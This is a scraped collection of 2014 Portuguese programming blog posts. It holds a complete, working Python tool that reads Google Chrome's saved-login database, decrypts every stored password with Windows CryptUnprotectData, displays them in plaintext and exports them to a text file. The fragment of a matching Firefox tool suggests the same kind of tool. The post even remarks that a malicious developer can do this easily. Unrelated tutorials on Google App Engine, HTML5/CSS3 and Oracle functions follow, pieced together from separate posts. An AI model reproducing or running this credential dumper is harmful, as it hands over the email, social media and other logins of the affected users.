        self.SetTable(tableBase)                   

# Cria formulario
class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "DA - Firefox Password Recovery - Desenvolvimento Aberto - 2014", size=(860, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Centraliza tela
        self.Center()

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar", "Exportar para texto")
        menu.Append(5001, "Sai&r", "Fechar o programa")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Preenche barra de status
        self.SetStatusText("", 0)
        self.SetStatusText(socket.gethostname(), 1)
        self.SetStatusText(getpass.getuser(), 2)
        self.SetStatusText(dataA, 3)
        self.SetStatusText(self.plataforma(), 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria botões
        botao1 =   wx.Button(panel, label="Exportar TXT (Export)", pos=(580,280))
        botao1.Bind(wx.EVT_BUTTON, self.OnSalvar)

        botao2 =   wx.Button(panel, label="Fechar (Close)", pos=(740,280))
        botao2.Bind(wx.EVT_BUTTON, self.OnSair)

        botao3 =   wx.Button(panel, label="Sobre (About)", pos=(20,280))
        botao3.Bind(wx.EVT_BUTTON, self.OnSobre)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 370)
        grid.SetColSize(1, 260)
        grid.SetColSize(2, 138)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "DA -Firefox Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma() + "\n" + \
                   "Estação: " + socket.gethostname() + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-Mail: desenvolvimento.aberto@live.com\n" + \
                "Blog: https://desenvolvimentoaberto.wordpress.com"

        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

O Google Chrome é o navegador mais utilizado na internet atualmente, segundo vários sites nacionais e internacionais especializados no assunto, para confirmar basta digitar no Google, O Chrome é um dos navegadores preferidos pelos quesitos, velocidade e segurança.

Segundo a empresa Google: “O Google Chrome foi projetado para manter você mais protegido e seguro na web com uma proteção integrada contra malware e phishing, atualizações automáticas para garantir que você tenha as últimas atualizações de segurança e muito mais…”.

Isto todos concordamos! Mas uma combinação fatal formada pelo, Google Chrome + Windows + Usuário, pode levar toda esta tecnologia de segurança por agua a baixo. Isto porque se analisarmos o conceito de segurança do sistema operacional Windows no contexto do usuário local, somado ao banco de dados pra lá de manjado que o Google escolheu para guardar suas credenciais criptografadas (SqlLite3), associado a um usuário que prefere comodidade ao ter que digitar sempre sua senha.

Google Chrome

Google Chrome

Está pronto, um perigoso coquetel, e talvez amargo de ser saboreado, pois pode levar você a perder todas as suas credencias dos sites que você mais utiliza como: Gmail, Hotmail, Facebook, Instagram e qualquer outro site no qual você escolher salvar no seu navegador. Não se preocupe se é necessário descriptografar as senhas no contexto do usuário que as criptografou um desenvolvedor mal intencionado pode providenciar isto facilmente.

Como Descriptografar as senhas do Google Chrome

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Google Chrome

DA - Google Chrome Password Recovery

DA – Google Chrome Password Recovery

Requisitos

Linguagem:  Python.

Nivel: Fácil.

Modulos Externos Python: Download WxPython PyWin32

Detalhes Sobre a Criptografia: CryptUnprotectData

Detalhes Sobre o Armazenamento de credenciais Google Chrome: SQLLite

Local físico de armazenamento das credenciais: C:\Users\Usuario\AppData\Local\Google\Chrome\User Data\Default

Nome do banco de dados: Login Data

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Windows, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/google-chome-pass-recovery/source/browse/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Google Chrome.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.2 - Betha
# CapturaSenhaChrome.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import win32crypt
import sqlite3
import os
import getpass
import datetime
import platform

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuário (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Conecta ao banco de dados do usuario local
# Requer elevação de privilegios se o Chrome estiver aberto
conn = sqlite3.connect(os.getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

# Captura informações de login
cursor.execute('SELECT action_url, username_value, password_value FROM logins')

# Retorna resultados
resultado = cursor.fetchall()
for result in resultado:
  # Descriptografa senha
  # CryptUnprotectData requer o contexto do usuario local
  senha = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  if senha:
      captura = [result[0], result[1], senha]
      dados.append(captura)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario

class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "Google Chrome Password Recovery", size=(880, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar")
        menu.Append(5001, "Sai&r")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Informação sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Set today date in the second field
        self.SetStatusText("Estação: " + os.environ['COMPUTERNAME'], 0)
        self.SetStatusText("Usuario: " + getpass.getuser(), 1)
        self.SetStatusText("Data Atual: " + dataA, 2)
        self.SetStatusText(self.plataforma(), 3)
        self.SetStatusText("Desenvolvimento Aberto - 2014", 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 430)
        grid.SetColSize(1, 230)
        grid.SetColSize(2, 108)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "Google Chrome Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma().replace("OS:","") + "\n" + \
                   "Estação: " + os.environ['COMPUTERNAME'] + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-mail: desenvolvimento.aberto@live.com\n" + \
                "Versão: 1.2 - Betha\n\n" + \
                "Coogle Code:\n" + \
                "http://code.google.com/p/google-chome-pass-recovery"
        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

HTML5 ou Hypertext Markup Language, versão 5 é uma linguagem para estruturação e apresentação de conteúdo para a World Wide Web e é uma tecnologia chave da Internet, está na quinta versão da linguagem HTML. Esta nova versão traz consigo importantes mudanças quanto ao papel do HTML no mundo da Web, através de novas funcionalidades como semântica e acessibilidade.

Claro, houve mudanças na linguagem HTML em si. Algumas Tags foram adicionadas em comparação ao padrão HTML 4, e um número considerável também foram excluídas. Provavelmente o maior ajuste para aqueles que usaram ​​o HTML4 não é realmente o HTML em si, mas a relação entre a mudança de HTML e CSS. Em HTML5 (como em HTML), a linguagem de marcação descreve o que significam os vários elementos. CSS é usado para descrever como as coisas se parecem.

CSS3 é a mais nova versão das famosas Cascading Style Sheets ou simplesmente CSS, onde se define estilos para páginas web com efeitos de transição, imagem, e outros, que dão um estilo novo às páginas Web 2.0 em todos os aspectos de design do layout. A principal função do CSS3 é abolir as imagens de plano de fundo, bordas arredondadas, apresentar transições e efeitos para criar animações de vários tipos, como um simples relógio de ponteiros.

Google Cloud - HTML5 e CSS3

Google Cloud – HTML5 e CSS3

Computação nas Nuvens

Agora que você já sabe como funciona a tecnologia Cloud do Google App Engine e como o funciona o ambiente de SandBox no qual nossa aplicação Python roda, vamos nos aprofundar um pouco mais nas linguagens de scripts para a Web, pois não há como existir computação nas nuvens sem a boa e velha linguagem de scripts chamada HTML. Em sua versão mais recente o HTML5 possui como uma melhor amiga, a linguagem de scripts que também ganhou uma cara nova e é chamada de CSS3.

Entretanto na arquitetura Cloud as coisas são um pouco diferentes do que são em um servidor web padrão, como por exemplo, os diretórios da web, em um servidor web você possui um diretório pré-estabelecido no qual pode utilizar, criando subdiretórios para scripts, imagens entre outros arquivos e apenas os referenciar utilizando scripts do qual você já esta acostumado.

Na tecnologia Cloud do Google quem comanda toda a aplicação é um arquivo YAML, então os scripts que, por exemplo chamam uma imagem em uma pagina HTML, só podem encontrar a imagem se ela ou o diretório onde a imagem se encontra estiver declarado nos handlers do arquivo que manipula a aplicação, como podemos ver nos códigos abaixo.

Diretórios Google Cloud App

  1. A imagem open-source.jpg que você vê na pagina esta localizada dentro de uma pasta chamada static na raiz da aplicação, você pode perceber que a tag “img src” é utilizada sem o caractere “/” fazendo referencia a um diretório, quem controla onde as imagens serão encontradas é a instrução handlers do arquivo yaml.
  2.  O ícone favicon.ico (16×16) utilizado pelo navegador se encontra na raiz da aplicação junto com o arquivo main.py, mais uma vez quem controla este ícone é a instrução handlers do arquivo yaml.

 

Multi Plataforma

Considerando que nossa aplicação roda em um navegador web, você pode utiliza-la de um sistema operacional de sua preferencia.

Você pode ver esta aplicação direto das nuvens: http://devabertolinux.appspot.com/

Para configurar sua primeira aplicação Google Cloud Linux: Hello World Google Cloud App Engine

Para Windows e Mac utilize o Google Cloud App Engine Launcher: Instalação e Hello World

Exemplo:

Neste exemplo criamos uma aplicação padrão no Google Cloud Engine, e utilizamos para programação a linguagem Python e através delas criamos uma variável no qual atribuímos um script contendo HTML5 e CSS3 para criar nossa pagina.

Yaml

application: devabertolinux
version: 1
runtime: python27
api_version: 1
threadsafe: yes

handlers:
- url: /favicon\.ico
  static_files: favicon.ico
  upload: favicon\.ico

- url: /(.*\.(gif|png|jpg))$
  static_files: static/\1
  upload: static/.*\.(gif|png|jpg)$

- url: .*
  script: main.app

libraries:
- name: webapp2
  version: "2.5.2"

Python

#!/usr/bin/env python
#
#########################################
# Desevolvimento Aberto
#########################################
# E-mail: desenvolvimento.aberto@live.com
#
# Cloud Computing
# Python - HTML5 - CSS3 - Javascript
# main.py

import webapp2

devhtml = """
<!DOCTYPE HTML>
<html>
  <head>
     <title>Cloud - Desenvolvimento Aberto - Google APP Engine</title>
        <style type = "text/css">
           body { background-color: white; }
           h1   { color: #191970; }
           h3   { color: #53868B; }
           p    { color: #27408B; }
        </style>
  </head>
<body>
 <h1>Desenvolvimento Aberto</h1>
   <h3>Cloud Computing - HTML5 - CSS3 - Javascript</h3>
   <p>
     <img src = "open-source.jpg" alt = "Open Source" />
   </p>
   <h2>C&oacute;digo Aberto de melhor qualidade</h2>
     <p>Desenvolvimento Aberto &eacute; formado para educar sobre e defender</br>
        os benef&iacute;cios do c&oacute;digo aberto e de construir pontes entre os</br>
        diferentes c&iacute;rculos eleitorais na comunidade de c&oacute;digo aberto.</p>
</body>
</html>
"""

class MainHandler(webapp2.RequestHandler):
    def get(self):
        self.response.write(devhtml)

app = webapp2.WSGIApplication([
    ('/', MainHandler)
], debug=True)

 

O Google App Engine permite que você construa aplicações web nos mesmos sistemas escaláveis ​​que as aplicações criadas pelo Google.  Os aplicativos App Engine são fáceis de construir, fácil de manter e fácil de escalar. Com o Google App Engine, não há servidores para manter. Se você acabou de fazer upload de seu aplicativo, ele está pronto para servir a seus usuários.

Ao contrario do Windows e Mac o Linux não possui o Google App Engine Launcher, deste modo todo o manuseio, incluindo compilação, servidor, e  deploy deve ser feito pelo terminal do Linux, por outro lado o Linux já contempla por default todas as ferramentas no qual usaremos, como a instalação do Python 2.7.x e o editor GEdit para a programação Python, então só nos resta baixar o Google App Engine SDK que pode ser baixado clicando aqui.

Computação nas Nuvens

O conceito de computação em nuvem em inglês, Cloud Computing, refere-se à utilização da memória e da capacidade de armazenamento e cálculo de computadores e servidores compartilhados e interligados por meio da Internet, seguindo o princípio da computação em grade.

O armazenamento de dados é feito em serviços que poderão ser acessados de qualquer lugar do mundo, a qualquer hora, não havendo necessidade de instalação de programas ou de armazenar dados. O acesso a programas, serviços e arquivos é remoto, através da Internet – daí a alusão à nuvem. O uso desse modelo (ambiente) é mais viável do que o uso de unidades físicas.

SandBox

O SandBox, em português, caixa de areia (onde as crianças brincam e o gato faz caca, nem precisa explicar, não é?), é um ambiente de desenvolvimento utilizado para desenvolvimentos primários, existem vários tipos de ambiente SandBox e geralmente estão associados a uma metodologia de desenvolvimento. Por exemplo, desenvolvimento de grandes aplicações, uma equipe de desenvolvedores podem utilizar o ambiente de SandBox para criar e testar aplicações sem risco de interferir com a configuração do ambiente de desenvolvimento oficial, após a aplicação ser testada ela passa para um ambiente DEV oficial e o ambiente de SandBox é descartado, sendo constantemente atualizado com uma copia do ambiente de desenvolvimento da empresa. Em desenvolvimento para a web, as empresas que permitem programação em seus ambientes, disponibilizam um ambiente de SandBox para que o usuário aprenda a criar aplicações utilizando virtualizações dos seus ambientes de desenvolvimento, porem sem interferir nos mesmos.

Para permitir que o Google App Engine distribua os pedidos para aplicações em vários servidores web, e para evitar uma aplicação de interferir com a outra, o aplicativo é executado em um ambiente de sandboxrestrito.

Google SandBox Python: https://developers.google.com/appengine/docs/python/#Python_The_sandbox

O que você deve saber sobre o Google Cloud

  • O nome da aplicação é chamado de AppID e deve ser único para não haver colisão de nome na web.
  • As boas praticas recomendam criar nomes de aplicação e diretórios utilizando caracteres minúsculos.
  • O servidor web local do Google App Engine é baseado na tecnologia Apache.
  • As portas locais não devem colidir com outras portas em uso por algum servidor web em seu computador.
  • O Linux não possui a ferramenta Google App Engine Launcher e toda sua manipulação deve ser feita pelo terminal.

 

Programando nas nuvens com o Google App Engine

1 – Para desencargo de consciência,  precisamos testar se já possuímos a versão do Python 2.7.x já instalada, use o comando:


/usr/bin/env python -V

Versão Python

Versão Python

2 – Descompacte o arquivo baixado na sua pasta Home do sistema operacional, que em português chama-se Pasta Pessoal, crie uma nova pasta para nossa aplicação, chame de GoogleApp, deste modo você terá duas pastas adicionais em seu diretório home do Linux, a pasta do SDK chamada google_appengine e GoogleApp na qual iremos criar nossos arquivos fonte.

Descompactar arquivo Zip

Descompactar arquivo Zip

3 – Uma App Cloud do Google é composta de basicamente de dois arquivos, um de extensão yaml que contem os parâmetros de sua aplicação, incluindo o seu AppID e de um arquivo .py que contem o programa de código Python. Use o GEdit do Linux e crie os arquivos app.yaml e main.py e utilize o código abaixo para escrever cada arquivo:

Código Fonte

Código Fonte

4 – Com os arquivos criados no diretório GoogleApp no qual criamos anteriormente, precisamos iniciar o servidor local, utilize a linha abaixo para iniciar o servidor:


~/google_appengine/dev_appserver.py ~/GoogleApp/

Inicia Servidor - App Engine

Inicia Servidor – App Engine

5 – Com o servidor iniciado, abra o seu navegador web e digite o seguinte endereço: http://localhost:8080/

Localhost - porta: 8080

Localhost – porta: 8080

6 – Abra uma outra aba no navegador e digite o endereço do Google App Engine para que possamos criar nosso projeto nos servidores Cloud do Google, já presumimos que você tenha uma conta do Google: https://appengine.google.com/

Google Cloud - Aplicação

Google Cloud – Aplicação

7 – Coloque o nome de sua App de acordo com o conceito de AppID do Google Cloud, este nome deve ser o mesmo contido no seu arquivo app.yaml e deve ser único, preencha uma descrição e clique em criar aplicação:

Cloud - AppID

Cloud – AppID

8 – Vamos efetuar um Deploy para os servidores do Google, isto significa que vamos compilar o programa Python e efetuar um Upload para as nuvens, utilize o seguinte comando para efetuar este procedimento, e-mail e senha serão requeridos:


~/google_appengine/appcfg.py update ~/GoogleApp/

Deploy - nuvens

Deploy – nuvens

9 – Agora é só testar o endereço de sua aplicação nos servidores Cloud do Google, o endereço é composto de sua AppID + .appspot.com:

App Google Cloud

App Google Cloud

Exemplo:

Neste exemplo criamos uma aplicação nas nuvens utilizando a tecnologia Cloud do Google e a linguagem de programação Python:

Utilize este link para ver a aplicação nas nuvens: http://damyapplinux.appspot.com/

Yaml

application: damyapplinux
version: 1
runtime: python27
api_version: 1
threadsafe: yes

handlers:
- url: /favicon\.ico
  static_files: favicon.ico
  upload: favicon\.ico

- url: .*
  script: main.app

libraries:
- name: webapp2
  version: "2.5.2"

Python

#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import webapp2

class MainHandler(webapp2.RequestHandler):
    def get(self):
        self.response.write('<h1>Desenvolvimento Aberto</h1>' + \
                            '</br>Hello world!</br>' + \
                            '<strong>' + \
                            '<font size="3" color="#8A2BE2">Google App Engine!</font>' + \
                            '</strong>')

app = webapp2.WSGIApplication([
    ('/', MainHandler)
], debug=True)

 

O conceito de computação em nuvem em inglês, Cloud Computing, refere-se à utilização da memória e da capacidade de armazenamento e cálculo de computadores e servidores compartilhados e interligados por meio da Internet, seguindo o princípio da computação em grade.

O armazenamento de dados é feito em serviços que poderão ser acessados de qualquer lugar do mundo, a qualquer hora, não havendo necessidade de instalação de programas ou de armazenar dados. O acesso a programas, serviços e arquivos é remoto, através da Internet – daí a alusão à nuvem. O uso desse modelo (ambiente) é mais viável do que o uso de unidades físicas.

SandBox

O SandBox, em português, caixa de areia (onde as crianças brincam e o gato faz caca, nem precisa explicar, não é?), é um ambiente de desenvolvimento utilizado para desenvolvimentos primários, existem vários tipos de ambiente SandBox e geralmente estão associados a uma metodologia de desenvolvimento. Por exemplo, desenvolvimento de grandes aplicações, uma equipe de desenvolvedores podem utilizar o ambiente de SandBox para criar e testar aplicações sem risco de interferir com a configuração do ambiente de desenvolvimento oficial, após a aplicação ser testada ela passa para um ambiente DEV oficial e o ambiente de SandBox é descartado, sendo constantemente atualizado com uma copia do ambiente de desenvolvimento da empresa. Em desenvolvimento para a web, as empresas que permitem programação em seus ambientes, disponibilizam um ambiente de SandBox para que o usuário aprenda a criar aplicações utilizando virtualizações dos seus ambientes de desenvolvimento, porem sem interferir nos mesmos.

Para permitir que o Google App Engine distribua os pedidos para aplicações em vários servidores web, e para evitar uma aplicação de interferir com a outra, o aplicativo é executado em um ambiente de sandboxrestrito.

Google SandBox Python: https://developers.google.com/appengine/docs/python/#Python_The_sandbox

Editor de Código – Python

Você pode utilizar qualquer editor de texto ou IDE para criar suas aplicações Python, recomendamos que para Windows você utilize o editor open source chamado Notepad++ que pode ser baixado clicando aqui.

 

O que você deve saber sobre o Google Cloud

  • O nome da aplicação é chamado de AppID e deve ser único para não haver colisão de nome na web.
  • As boas praticas recomendam criar nomes de aplicação e diretórios utilizando caracteres minúsculos.
  • O servidor web local do Google App Engine é baseado na tecnologia Apache.
  • As portas locais não devem colidir com outras portas em uso por algum servidor web em seu computador.

 

Cloud Google – Criando uma aplicação: Hello World App

Agora que você já sabe os princípios do conceito de programação nas nuvens, vamos criar nosso primeiro programa Cloud, presumimos que você já tenha instalado em seu computador o Google App Engine e a versão do Python 2.7.x.

1- Abra o Google App Engine Launcher, no menu File clique em Create New Application, escolha o nome da aplicação e um diretório para os arquivos de código fonte que serão gerados automaticamente:

AppID

AppID

2 – Dê um duplo clique na sua aplicação, e uma janela o questionara da porta local para o servidor web do App Engine, as portas não devem colidir, escolha uma porta e clique em Update:

Update - Porta

Update – Porta

3 – Com sua aplicação selecionada clique no botão Run e espere até que o ícone da aplicação fique verde:

Run - Ok - verde

Run – Ok – verde

4 – Agora seu servidor web local esta rodando e sua aplicação pode ser testada. Os códigos fontes foram gerados no diretório local que você escolheu quando criou sua aplicação, entre no diretório e abra o arquivo chamado main.py no editor Notepad++:

Notepad++ - Python

Notepad++ – Python

5 – O Google App Engine cria aplicações no modelo MVC, utilize o código abaixo para modificar o código gerado automaticamente, salve e clique no botão Browser, sua aplicação será aberta localmente no seu navegador web:

App - Local

App – Local

6 – Tudo Ok localmente, agora vamos utilizar os servidores Cloud do Google para hospedar nossa aplicação. Você precisa de uma conta do Google, crie caso ainda não tenha, clique no botão Dashbord para criar sua aplicação nos servidores do Google, preencha seu AppID (nome da Aplicação), concorde com os termos de serviço e clique no botão criar:

Dashbord - Google

Dashbord – Google

 

7 – Após criar sua App no ambiente Cloud do Google, clique no botão Deploy para efetuar o Upload do seu programa para as nuvens, forneça o seu e-mail e sua senha para autenticação:

Deploy - Google Cloud

Deploy – Google Cloud

8 – Pronto! Sua App já esta nas nuvens. você pode testar chamando o endereço de sua aplicação no navegador, o endereço é formado pelo AppId mais o caminho do SandBox do Google:

App - Nas Nuvens

App – Nas Nuvens

Exemplo:

Neste programa criamos uma aplicação nas nuvens utilizando a linguagem de programação Python e a tecnologia Cloud dos servidores do Google.

Se você tem uma conta no Google você pode ver esta aplicação clicando aqui:  http://daengineapp01.appspot.com/

Python

main.py

#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import webapp2

class MainHandler(webapp2.RequestHandler):
    def get(self):
        self.response.write('<h1>Desenvolvimento Aberto</h1>' + \
		                    '</br>Hello world!</br>' + \
							'<p><strong>' + \
							'<font size="3" color="#8A2BE2">Google App Engine!</font>' + \
							'</p></strong>')

app = webapp2.WSGIApplication([
    ('/', MainHandler)
], debug=True)

O Google App Engine permite que você construa aplicações web nos mesmos sistemas escaláveis ​​que as aplicações criadas pelo Google.  Os aplicativos App Engine são fáceis de construir, fácil de manter e fácil de escalar. Com o Google App Engine, não há servidores para manter. Se você acabou de fazer upload de seu aplicativo, ele está pronto para servir a seus usuários.

Porque Python ?

Você pode estar se perguntando: Google App Engine também suporta Java e Go, Porque não esses idiomas?”. Para a experiência de aprendizagem mais rápida, Python é a melhor escolha para os novos programadores (é usado para ensinar as crianças como codificar), e também popular com veteranos. Aqui está uma boa explicação para desenvolvedores experientes comparando Python com uma linguagem estaticamente tipada, como C# ou Java ou C++. Ou seja o Google utiliza Python em muitas de suas aplicações e esta apostando nesta linguagem e em futuros desenvolvedores das categorias de base.

Python 2.7.8: https://www.python.org/download

Google App Engine for Python: https://developers.google.com/appengine/downloads#Google_App_Engine_SDK_for_Python

Instalando o Google App Engine

1- Após baixar o arquivo com a extensão MSI, você pode o executar como administrador do sistema, caso você não tenha o Python instalado em seu computador o próprio instalador o ajudara a efetuar a instalação:

Download Python

Download Python

2 – Aceite o termo de licença e clique em next:

Licença

Licença

3 – Escolha o local de instalação e as opções de atalhos do aplicativo, caso mude a instalação você precisa configurar o caminho mais tarde na aba preferencias:

Local da instalação

Local da instalação

4 – Após as opções configuradas clique em instalar:

Instalar

Instalar

5 – Aguarde o progresso da instalação:

Progresso

Progresso

6 – Clique em Finish para concluir a instalação:

Concluir

Concluir

7 – Após a instalação abra o Google App Engine, um aviso será mostrado em um janela dizendo que o sistema não sabe onde encontrar a instalação do Python, você precisa configurar o caminho do executável do Python. No menu Edit, Preferences, inclua os dados na opção Python Path:

Instalação do Python

Instalação do Python

Pronto! agora você precisa fechar e abrir novamente o Google App Engine e já estará apto a criar seu primeiro programa com a tecnologia Cloud.

Como criar minha primeira Aplicação Google nas nuvens?

Para criar sua primeira aplicação nas nuvens utilizando Python e a tecnologia Googleclique aqui.

 

Database – Function – Oracle – Python

Publicado: 31 de julho de 2014 em Python

Uma Function em um banco de dados é muito similar a uma função em uma linguagem de programação comum, podendo até mesmo ser criada com uma linguagem de programação como Java, para os bancos de dados Oracle e IBM DB2 ou uma rotina CLR para o banco de dados MSSQL, entretanto possuem varias diferenças entre os diferentes bancos de dados.

Uma Function padrão pode ser do tipo Escalar que normalmente retorna um valor ou pode ser do tipo Tabela, que retorna uma tabela, porem dependendo do banco de dados utilizado, podem existir vários outros tipos de retornos ou também de funções, por este motivo é recomendado que você acesse os links oficiais a seguir para saber mais detalhes sobre as funções:

Oracle: Create Function

